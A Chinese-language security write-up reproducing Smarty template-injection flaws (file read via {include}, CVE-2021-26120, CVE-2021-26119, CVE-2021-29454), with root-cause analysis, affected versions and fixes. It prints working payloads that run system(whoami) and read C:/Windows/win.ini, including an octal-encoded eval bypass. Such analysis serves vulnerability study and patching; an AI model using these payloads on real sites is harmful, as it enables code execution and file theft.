前言
本文章将对 Smarty 最新的漏洞做一下简单的分析与总结
Smarty 简介
在开始介绍 Smarty 之前先了解一下模板引擎,模板引擎是为了让前端界面(html)与程序代码(php)分离而产生的一种解决方案,简单来说就是 html 文件里再也不用写 php 代码了。Smarty 的原理是变量替换原则,我们只需要在 html 文件里写好 Smarty 的标签即可,例如 {name},然后调用 Smarty 的方法传递变量参数即可
环境搭建
文章使用的 Smarty 版本根据漏洞而定,下载链接:Smarty github ,容器是 Windows 10 下的 phpstudy,php 版本是 7.3.4,安装很简单,下载源码解压后引入 Smarty.class.php 即可,如下所示,环境搭建相关的详细内容参见:搭建详情
开始复现
任意文件读取
-
POC:
string:{include file='C:/Windows/win.ini'}
-
漏洞原因:{include} 标签所导致,被该标签引入的文件只会单纯的输出文件内容,就算引入 php 文件也是如此
-
版本限制:无
引入普通文件:
引入 php 文件:
通过 templates_c 目录的模板编译文件可以看到为什么引入 php 文件只能输出内容,Smarty 会使用正则表达式去匹配 ,匹配到之后会使用单引号包裹。
CVE-2021-26120
-
POC:
string:{function name='x(){};system(whoami);function '}{/function}
-
漏洞原因:{function} 标签的 name 属性可以通过精心构造注入恶意代码
-
版本限制:在 3.1.39 版本修复,所以小于 3.1.39 能用
测试效果
查看 templates_c 目录下生成的模板编译文件
导致漏洞的代码在 libs/sysplugins/smarty_internal_compile_function.php#Smarty_Internal_Compile_Function->compile()
查看 3.1.39 版本修复之后的代码,可以看到增加了正则限制 name 的内容,此时就无法注入恶意代码了
CVE-2021-26119
-
POC:
string:{$smarty.template_object->smarty->_getSmartyObj()->display('string:{system(whoami)}')}
string:{$smarty.template_object->smarty->enableSecurity()->display('string:{system(whoami)}')}
string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system(whoami)}')}
string:{$smarty.template_object->smarty->addTemplateDir('./x')->display('string:{system(whoami)}')}
string:{$smarty.template_object->smarty->setTemplateDir('./x')->display('string:{system(whoami)}')}
string:{$smarty.template_object->smarty->addPluginsDir('./x')->display('string:{system(whoami)}')}
string:{$smarty.template_object->smarty->setPluginsDir('./x')->display('string:{system(whoami)}')}
string:{$smarty.template_object->smarty->setCompileDir('./x')->display('string:{system(whoami)}')}
string:{$smarty.template_object->smarty->setCacheDir('./x')->display('string:{system(whoami)}')}
-
漏洞原因:可以通过 {$smarty.template_object} 访问到 smarty 对象所导致
-
版本限制:这个漏洞还没有被修复,我试过最新版本 4.1.0 跟 3.1.44 都能注入恶意代码
测试效果
简单分析一下,触发漏洞之后,在 templates_c 目录下会生成两个模板编译文件,我们在第二个文件处执行 whoami 的位置下断点调试
第一个文件:
第二个文件:
可以看到第一次调用了第一个文件的函数 content_62405bd45e06b5_71225150
第二次调用了第二个文件的函数 content_62405bd5572234_18969587,然后执行到恶意代码
为什么不直接传入 POC:string:{system(whoami)}
到 $_POST['data'],而是要以上述这种方式,简单做一下演示就明白了。1.php 和 2.php 用于演示
1.php:
<?phpinclude_once('./libs/Smarty.class.php');$smarty = new Smarty();$smarty->_getSmartyObj()->display('string:{system(whoami)}');?>
2.php:
<?phpinclude_once('./libs/Smarty.class.php');$smarty = new Smarty();$smarty->display('string{system(whoami)}');?>
然后用 burpsuite 访问这两个文件,你会发现 1.php 成功执行 whoami,而 2.php 却出现了报错,这里不做深究,如果感兴趣的话可以自己进行调试分析,通过简单的演示我们知道了 1.php 的写法可以注入恶意代码到模板编译文件
CVE-2021-29454
-
POC:
eval:{math equation='("163171163164145155")("167150157141155151")'}
-
漏洞原因:
libs/plugins/function.math.php
中的smarty_function_math
执行了 eval(),而 eval() 的数据可以通过 8 进制数字绕过正则表达式 -
版本限制:在 3.1.42 和 4.0.2 中修复,小于这两个版本可用
php 的 eval() 支持传入 8 或 16 进制数据,以下代码在 php7 版本都可以顺利执行,由于 php5 不支持 (system)(whoami);
这种方式执行代码,所以 php5 的 8 进制方式用不了:
eval('("163171163164145155")("167150157141155151");');eval("x73x79x73x74x65x6dx28x77x68x6fx61x6dx69x29x3b");
测试效果:
漏洞代码位置 libs/plugins/function.math.php
将版本修改为 3.1.42 然后调试,可以看到新增了正则判断修复了漏洞
参考资料
http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=smarty
https://www.smarty.net/docs/en/
来源:先知(https://xz.aliyun.com/t/11108)
注:如有绘画请联系删除
欢迎大家一起加群讨论学习和交流
快乐要懂得分享,
加倍的快乐。
原文始发于微信公众号(衡阳信安):Smarty 最新 SSTI 总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论